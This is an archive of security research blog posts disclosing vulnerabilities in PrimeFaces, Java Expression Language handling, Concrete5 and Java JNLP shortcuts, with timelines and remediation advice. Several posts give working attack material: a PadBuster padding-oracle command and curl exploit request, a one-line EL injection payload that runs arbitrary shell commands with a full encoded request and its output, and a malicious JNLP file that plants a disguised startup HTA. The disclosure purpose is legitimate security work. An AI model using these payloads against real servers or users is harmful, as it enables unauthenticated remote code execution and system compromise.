Showing posts with label Arbitrary Code Execution. Show all posts
Showing posts with label Arbitrary Code Execution. Show all posts

Monday, February 15, 2016

RCE in Oracle NetBeans Opensource Plugins: PrimeFaces 5.x Expression Language Injection

PrimeFaces is a open source User Interface (UI) component library for JavaServer Faces (JSF) based applications, since its release, PrimeFaces has been strongly supported by Oracle, particularly within the NetBeans world.

Disclosure Timeline

PrimeFaces team has been contacted on 20/06/2015 (7 months ago) providing  the following details. Unfortunately the vulnerability has still not been fixed.

PrimeFaces team was asking us to send a github pull request to the public PrimeFaces github dev group; since public pull requests can be read by anyone, we thought that we could link this public content to inform both developers and final users.

PrimeOracle and PrimeSecret Vulnerability Detail

The following two issues have been successfully exploited against PrimeFaces 5.x and 5.3.x, including but not limited to PrimeFaces 5.3.6 version.

The following video shows the impact of these vulnerabilities against a vulnerable Oracle Netbeans 8.0.2 setup with PrimeFaces plugin:




Security issues are cryptographic vulnerabilities that let unauthenticated users to inject arbitrary Expression Language code to PrimeFaces custom EL parser. Both issues have the same sink: EL expression evaluation.

In this post we shared a generic payload to execute a remote interactive command shell via EL .

These two Crypto issues have been called "PrimeSecret" and "PrimeOracle".

Eventually by abusing one of these issues any user can execute arbitrary code on the application server without authentication.

1) PrimeSecret is the default hard-coded passphrase to encrypt several PrimeFaces parameters such as "pfdrid" (by Stefano Di Paola).

2) PrimeOracle is the abuse of a Padding Oracle attack against the internal crypto algorithm that decrypts several parameters such as "pfdrid" (by Giorgio Fedon).


The common vulnerable sink for both security issues is the PrimeFaces Streamed Content Handler that executes EL inline:

/org/primefaces/application/resource/StreamedContentHandler.java

..
String dynamicContentId = (String)
params.get(Constants.DYNAMIC_CONTENT_PARAM);
...
String dynamicContentEL = strEn.decrypt(dynamicContentId);
...
ValueExpression ve =
context.getApplication().getExpressionFactory().createValueExpression(context.getELContext(),
dynamicContentEL, StreametreamedContent.class);
streamedContent = (StreamedContent) ve.getValue(eLContext);



In 2011 a user already reported to the dev team the dangerous impacts of EL injection: 
StreamlinedContent is not a new sink to PrimeFaces dev community as clearly stated in that old post. However at that time the issue was much easier to be exploited.

In short we bypassed a partial security fix available in the newer versions of Primefaces to abuse a known vulnerability.

PrimeSecret


Vulnerable Code that leads to PrimeSecret:

file: "/org/primefaces/config/ConfigContainer.java"

// By default encryption Key is the hardcoded string "primefaces"

secretKey = (value == null) ? "primefaces" : value;


PrimeOracle


Vulnerable Code that leads to PrimeOracle:

file: "/org/primefaces/util/StringEncrypter.java"


// 8-bytes Salt <- Static IV
byte[] salt = {
(byte) 0xA9, (byte) 0x9B, (byte) 0xC8, (byte) 0x32,
(byte) 0x56, (byte) 0x34, (byte) 0xE3, (byte) 0x03
};
...


// Padding Oracle vulnerability since the DES cipher is CBC based
// and process encrypted text without verification (e.g. // HMAC)

KeySpec keySpec = new PBEKeySpec(passPhrase.toCharArray(),
salt, iterationCount);
SecretKey key =
SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);


Exploitation is easy with PadBuster


In the following example we are going to show the exploitation of  PrimeOracle issue. PrimeOracle exploit can be seen as a generic way to exploit both issues. With PrimeOracle is possible to obtain a resulting exploit parameter string that can be reused against all targets with the same password.

That resulting string obtained from a host vulnerable to Primesecret, will work against all the target with the default secretKey configuration parameter.

First of all for this exploit to work you need a tool to exploit Padding Oracle Vulnerabilities like the beautiful PadBuster tool from GDS Security. Then you can choose any EL payload to be encrypt using the tool.

In this case the payload we have chosen is:

// Set a response Header with a value of "primesecretchk" Request Parameter
${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}


Note: Any EL can be executed: payloads can range from reading user session parameters, to arbitrary code execution that can lead to OS compromise.

Then just launch Padbuster with the following command:

./padBuster.pl
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=C24UkygWm3HMmnSxmDwoxw%3D%3D"
"C24UkygWm3HMmnSxmDwoxw%3D%3D" 8 -encoding 0 -plaintext
'${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}'


+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| [email protected]                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 65766

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 14

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#    Freq    Status    Length    Location
-------------------------------------------------------
1    1    500    65715    N/A
2 **    255    200    0    N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :2

-------------------------------------------------------
** Finished ***

[+] Encrypted value is:
wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA

-------------------------------------------------------


To check if the application is vulnerable:

n0def@n0def-U36SG:~/Desktop/PadBuster-master$
enc="wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA";
chk="123445456"; curl -X POST
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml"
-ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&primesecretchk=$chk"| grep $chk

primesecretchk: 123445456



//Note: the previous request will work against all systems vulnerable to PrimeSecret! Since // has been generated on a host with "primefaces" secretKey



The application is vulnerable because of the new added response header: "primesecretchk: 123445456"

Remediation

Since an official patch is still not available end users and companies can protect their application by disabling StreamedContentHandler.java.

Alternatively by filtering incoming requests with pfdrid parameter (value longer than 16bytes and Base64 encoded) and "pfdrt=sc" is possible to mitigate the attack: "pfdrt=sc" calls the vulnerable StreamedContent Method and pfdrid contains the exploit payload.

Isn't enough to change the default "secretKey"?

Unfortunately not: changing the default secretKey is not enough because of the padding oracle vulnerability issue that in this post has been named PrimeOracle.


Monday, November 23, 2015

Reliable OS Shell with - EL [ Expression Language ] - Injection


Abusing EL for executing OS Commands

Expression Language injection

Wow! It may lead to remote command execution on modern Servlet environments. This was  pointed out by Dan Amodio in 2012 with his art work exploit against Spring Double-Evaluation vulnerability (CVE-2011-2730). Herein he ported the exploitation technique presented in this Vulnerability Research Paper by Minded Security and Aspect Security in 2011 to newer Servlet versions reaching RCE (Remote Code Execution, which implies Remote Command Execution as well).

In this blog post we discuss a different payload code to exploit an Expression Language Injection security issue  in a reliable way. This is somehow the case during penetration tests of sensitive targets where it's important to not alter the local application by downloading external content or modifying the local file-system.

EL Injection example in a JSF Facelets Environment

index.xhtml gets “expression” parameter from the request and sends it to evalAsString():

        Hello from Facelets 
        <br /> 
        <h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" /> 

NewClass.java implements ELAsString() that an EL implementation that evaluates arguments dynamically:

import java.io.Serializable;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import javax.faces.context.FacesContext;

@ManagedBean(name="beanEL")
@SessionScoped

public class NewClass implements Serializable {
   
    public static String ELAsString(String p_expression)
{
    FacesContext context = FacesContext.getCurrentInstance();
    ExpressionFactory expressionFactory = context.getApplication().getExpressionFactory();
    ELContext elContext = context.getELContext();
    ValueExpression vex = expressionFactory.createValueExpression(elContext, p_expression, String.class);
    String result = (String) vex.getValue(elContext);
    return result;
}
}


Why a One-Liner OS command shell payload?


The rules of this OS command shell game:

- Not rely on loading classes that are on external servers (e.g. Avoid Egress filtering, External class loading etc.)
- Work on a broad number of EL versions and servers (e.g. not only on Tomcat 8+)
- Executing an OS command
- Interactive output from EL injection: Os command output should be Redirected to the current HTTP response in-band
- Not write any file and or modify any other persistent resource
- Achieve all the previous with One single line of concatenated EL

Final payload


${facesContext.getExternalContext().getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}${session.getAttribute("scriptengine").eval("var
proc = new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start();
var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}



Payload Explained

Feel free to change it and modify it to fit your current target.


1) Setting the charset:

System.out.println(URLEncoder.encode(pf.enc.encrypt("${request.getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}

2) Invoking ScriptManager constructor without arguments and we store the  instance as a session object:

${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())},${session.setAttribute("scriptengine\",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}

3) Redirect ScriptEngine output writer output to the Http Response writer input:

${session.setAttribute("scriptengine",session.getAttribute("scriptfactory\").getEngineByName("JavaScript"))},${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}

4) Call the eval() method for the engine "JavaScript" that accepts JS code as string (sometimes Jetty 8.2 gives a “java.io.Reader”) with the JS code that executes the runtime command:

${session.getAttribute("scriptengine").eval("
new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start()"))}

5) Getting proc standard Output and reading it via java.util.Scanner and printing it out

var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))

5) Closing the http response
${facesContext.getExternalContext().getResponse().getWriter().close()}



Is a Servlet Modern enough for a reliable RCE?


JSP/EL should be at least at version 2.2. EL version goes hand in hand with Servlet/JSP version which is dependent on the servletcontainer implementation/version used and also on the web.xml root declaration of your web application.

  • Servlet 3.0 comes with JSP/EL 2.2 and we usually find those in Tomcat 7, Jetty 8.2, Jetty 9
  • Servlet 2.5 comes with JSP/EL 2.1.
  • Servlet 2.4 comes with JSP/EL 2.0.
  • Servlet 2.3 comes with JSP 1.2 without EL.
Note: Newer servers like Tomcat 8 and 9 have even newer servlet versions and better capabilities, but our target was running Jetty 9.1.

In 2012 Dan Amodio from Aspect Security  (http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection) discovered that  “While performing a penetration test on a client’s application on Glassfish, I learned that the EL 2.2 added support for method invocation. Try and load the org.springframework.expression.spel.standard.SpelExpressionParser... We failed many times!”. Unfortunately EL 2.2 method invocation is sneaky and has several bugs in its implementation that do not make it behave properly.

The following one is the invokeMethod() implementation in Servlet 2.2 and is possible to see that it may not work if more than one argument is passed. This  is a boring limitation since we can only invoke or call a limited number of methods:

private Object invokeMethod(Method m, Object base, Object[] params)
/*     */   {
/* 764 */     Class[] parameterTypes = m.getParameterTypes();
/* 765 */     Object[] parameters = null;
/* 766 */     if (parameterTypes.length > 0) {
/* 767 */       ExpressionFactory exprFactory = getExpressionFactory();
/* 768 */       if (!m.isVarArgs())
/*     */       {
/*     */
/* 771 */         parameters = new Object[parameterTypes.length];
/* 772 */         for (int i = 0; i < parameterTypes.length; i++) {
/* 773 */           parameters[i] = exprFactory.coerceToType(params[i], parameterTypes[i]);
/*     */         }
/*     */       }
/*     */     }
/*     */     try
/*     */     {
/* 779 */       return m.invoke(base, parameters);


If you are exploiting a web server different from Glassfish there is also an additional option: the Java JavaScript Engine.  JavaScript Engine is blocked in Glassfish EL implementation but not in other servers such as Apache Tomcat 7 or Jetty.

JS Rhino Script Engine is supported in Java 6 and 7,  Mozilla Nashorn Script Engine is available from Java 8.  For more information:

Rhino: https://docs.oracle.com/javase/7/docs/api/javax/script/ScriptEngineManager.html
Nashorn: https://docs.oracle.com/javase/8/docs/api/javax/script/ScriptEngineManager.html

Since “ScriptEngineManager” has an empty class constructor this can be abused by the method invocation technique from EL 2.2 pointed out earlier.


Exploit Payload request:


n0def@n0def:/# curl
'http://localhost:8080/WebApplication/?&cmd=ls%20/&expression=%24{facesContext.getExternalContext%28%29.getResponse%28%29.setContentType%28%22text%2fplain%3b%0Acharset%3d\%22UTF-8\%22%22%29}%24{session.setAttribute%28%22scriptfactory%22%2c%22%22.getClass%28%29.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29%29}%24{session.setAttribute%28%22scriptengine%22%2csession.getAttribute%28%22scriptfactory%22%29.getEngineByName%28%22JavaScript%22%29%29}%24{session.getAttribute%28%22scriptengine%22%29.getContext%28%29.setWriter%28facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29%29}%24{session.getAttribute%28%22scriptengine%22%29.eval%28%22var%0Aproc%20%3d%20new%0Ajava.lang.ProcessBuilder[\%22%28java.lang.String[]%29\%22]%28[\%22%2fbin%2fsh\%22%2c\%22-c\%22%2c\%22%22.concat%28request.getParameter%28%22cmd%22%29%29.concat%28%22\%22]%29.start%28%29%3b%0Avar%20is%20%3d%20proc.getInputStream%28%29%3b%20var%20sc%20%3d%20new%0Ajava.util.Scanner%28is%2c\%22UTF-8\%22%29%3b%20var%20out%20%3d%20\%22\%22%3b%20while%0A%28sc.hasNext%28%29%29%20{out%20%2b%3d%20sc.nextLine%28%29%2bString.fromCharCode%2810%29%3b}%0Aprint%28out%29%3b%22%29%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.flush%28%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.close%28%29}'


Exploit Payload Response:


bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
swapfile
sys
tmp
usr
var
vmlinuz
vmlinuz.old

n0def@n0def:/#

Friday, June 12, 2015

Multiple security issues discovered in Concrete5 - Part 1

About a month ago we performed a Secure Code Review of Concrete5 version 5.7.3.1, the latest stable release at that time, and discovered multiple security issues within it. In particular we found the following vulnerabilities:

  • A Remote Code Execution
  • Multiple Reflected Cross Site Scripting
  • A SQL Injection
  • ...others not fixed yet



These issues have been reported to the Concrete5 team through HackerOne, since they have a bug bounty program in place. Some of them were promptly fixed in the next releases of the software, while others still have to be solved.
This is the reason why this post will be in two parts: in this first part we are going to cover the issues already fixed and publicly disclosed on the HackerOne website, while the remainings will be illustrated in the second part.

Concrete5 CMS

Concrete5 is one of the most used open source Content Management System (CMS) on the web. A recent infographic published by CodeGuard places Concrete5 as one of the most popular CMS after WordPress, Joomla and Drupal:


Concrete5, a CMS written in PHP, was launched in 2003 as Concrete CMS. It was rebranded as Concrete5 and launched fully open source under the MIT license in 2008. According to the official website, Concrete5 powers more than 580,000 sites and has a community with over 230,000 members.

The Issues

Sendmail Remote Code Execution Vulnerability

Cause: Lack of input validation
Impact: Arbitrary PHP Code Execution on the server

One of the most critical issues we discovered is a Remote Code Execution (RCE) vulnerability affecting Concrete5 websites which use sendmail as mail server. This vulnerability is due to an incorrect validation of an input parameter used to store a setting related to the sender's address of a registration notification email.

The attack can be carried out in two steps:

  1. The sender's email address setting is modified to alter the sendmail command line in order to add specific parameters which allow to log all the email traffic into an arbitrary file;
  2. The attacker will send a specially crafted request to register a new account and will put some malicious PHP code after its email address. This will be written into the log file chosen during the first step, so in case it's a .php file arbitrary PHP code execution may be achieved (using the same technique described here).

Even though the sender's address parameter can be modified by administrator users only, an attacker might be able to exploit the bug leveraging a Cross-Site Request Forgery (CSRF) vulnerability affecting the related setting feature.
A detailed description of the vulnerability and a sample attack workflow are described in the following PDF:


- Disclosure Timeline:
[05/05/2015] - Vulnerability details sent through HackerOne
[05/05/2015] - Vendor said a patch has been committed and will be available in the next version
[05/07/2015] - Version 5.7.4 released along with the patch for this vulnerability
[06/06/2015] - Vulnerability publicly disclosed on HackerOne

Multiple Reflected Cross Site Scripting Vulnerabilities

Official Advisory
https://www.mindedsecurity.com/index.php/research/advisories/msa110615-2

Risk: Medium
Cause: Lack of input validation
Impact: Unauthorized access to the victim's browser data

During our code review activity we found out that several input parameters are used to generate some HTML output without a proper encoding. This can be exploited to carry out Reflected Cross Site Scripting (XSS) attacks.
The following PDF describes the discovered XSS vulnerabilities and provides Proof of Concept (PoC) web pages for them:


- Disclosure Timeline:
[05/05/2015] - Vulnerabilities details sent through HackerOne
[05/05/2015] - Vendor said that 2 out of 6 reported vulnerabilities were already fixed in development
[05/07/2015] - Version 5.7.4 released along with patches for all the 6 vulnerabilities
[06/06/2015] - Vulnerabilities publicly disclosed on HackerOne

SQL Injection Vulnerability

Cause: Lack of input validation
Impact: Unauthorized access to the data stored into the database

Furthermore we found the presence of a SQL injection vulnerability, which is due to certain user input being used to construct a SQL query without a proper validation. This can be exploited to carry out SQL injection attacks leading to unauthorized access to the data stored into the database.
However, the vulnerability is not critical because it is mitigated by the fact that can be exploited only by authenticated users with privileges to edit page permissions.
The following PDF describes the detail of the vulnerability and how to exploit it:


- Disclosure Timeline:
[05/05/2015] - Vulnerability details sent through HackerOne
[05/08/2015] - Vendor said a patch has been committed and will be available in the next version
[05/12/2015] - Version 5.7.4.1 released along with the patch for this vulnerability
[06/11/2015] - Vulnerability publicly disclosed on HackerOne

Stay tuned for the second part!

Monday, October 11, 2010

Java-JNLP-Applet User Assisted Arbitrary Execution

Summary
Java 6 update 10 plugin introduced several new features.

Among others there is the possibility to create an applet that will become a desktop applet by using JNLP in restricted environment.
This new feature is called draggable applets:

With Java SE 6 Update 10, Sun Microsystems, Inc. introduces a new paradigm for application deployment over the Internet: the ability to drag a live, running applet out of the web browser, dynamically transforming it into an application running on the desktop. The application can be re-launched later from a desktop shortcut or launch menu item using the standard JNLP and Java Web Start technologies. This capability is unique to the Java platform, and represents a complete unification of development and deployment in the web browser and on the desktop.


When an applet tag has

<param name="draggable" value="true">

it will become a jnlp Java application if a user simply click on it.

Depending on the JNLP it is also possible to ask the user to create a desktop shortcut of the applet.

17322757 ZERO TERMINATOR ALLOWS JNLP SHORTCUTS

Summary
It is possible to create arbitrary shortcut names leading to arbitrary code execution. Windows Only

Analysis
When the applet is dragged out of the HTML Java will read the JNLP file looking for some specific data.
Let's see an example:

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="DragExample.jnlp">
<information>
<title>A Title/title>
<vendor>Sun Microsystems Java Update</vendor>
<homepage href="https://jdk6.dev.java.net/plugin2/"/>
<description kind="tooltip">a Description</description>
<offline-allowed/>
<shortcut online="false">
<menu submenu="Folder"/>
<desktop/>
</shortcut>
</information>
<resources>
<j2se href="http://java.sun.com/products/autodl/j2se" version="1.4+"/>
<jar href="DragExample.jar" main="true" />
</resources>
<applet-desc
name="Drag Example"
main-class="DragExample"
<!-- Currently used when relaunching from the desktop shortcut -->
width="200"
height="200">
</applet-desc>
</jnlp>


The interesting tags under windows are:
  • title: Title value will be used by Java to name the LNK file on desktop.
  • description kind="tooltip" : will be written by Java in the LNK Description Field and used as tooltip.
  • shortcut online="false": is the command which will instruct Java to ask user for allowing a desktop shortcut (It is asked when user closes the browser tab).
  • menu submenu="Folder": Will save the lnk also in the Startup Menu on Windows.
Putting all together we found that once a user allows the creation of the shortcut, is possible to create an arbitrary name with enough arbitrary content and have it executed on startup.
Example of a malicious jnlp file:

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="DragExample.jnlp">
<information>
<title>Microsoft Updat&#x202eknl.hta&#x0000;e</title>
<vendor>Sun Microsystems Java Update</vendor>
<homepage href="https://jdk6.dev.java.net/plugin2/"/>
<description kind="tooltip"><![CDATA[><script>malicious Scriptable Shell code Here</script>]]></description>
<offline-allowed/>
<shortcut online="false">
<menu submenu="Startup"/>
<desktop/>
</shortcut>
</information>
<resources>
<j2se href="http://java.sun.com/products/autodl/j2se" version="1.4+"/>
<jar href="DragExample.jar" main="true" />
</resources>
<applet-desc
name="Drag Example"
main-class="DragExample"
<!-- Currently used when relaunching from the desktop shortcut -->
width="200"
height="200">
</applet-desc>
</jnlp>



what happens here is that:
  • User sees a request of Desktop shortcut named Microsoft Update.ath.lnk (because of 2025 special char)
  • title value contains a null byte. So when Java tries to write: TitleName.lnk will pass "Microsoft Update.hta\u0000"+".LNK" and Windows will write the filename Microsoft Update.hta on the desktop
  • The content somewhere in the file will be a malicious Scriptable Shell object
  • Finally it will be saved also in the Windows menu and in particular in the Startup Menu Folder, which contains files which are to be launched at Windows startup.
17322755 NEW LINES IN JNLP TITLE ARE COPIED INTO LNK FILES
This issue is somewhat similar to the Windows one.
Linux shortcut creation is a bit different from windows. It just creates a .desktop file containing 'ini' directives.
In the Linux case, an attacker can control the content of the file using for example the Title field.

The issue here is in the fact that new lines are allowed and copied in the desktop file, allowing the injection of new directives.
Example:

<title>test
Exec=xterm
Type=Application
[test]</title>


Once the user allows the creation of the desktop shortcut, the file will contain a new command to launch (xterm).
So when the victim will click on the shortcut he will execute the injected command in spite of the Java Web Start.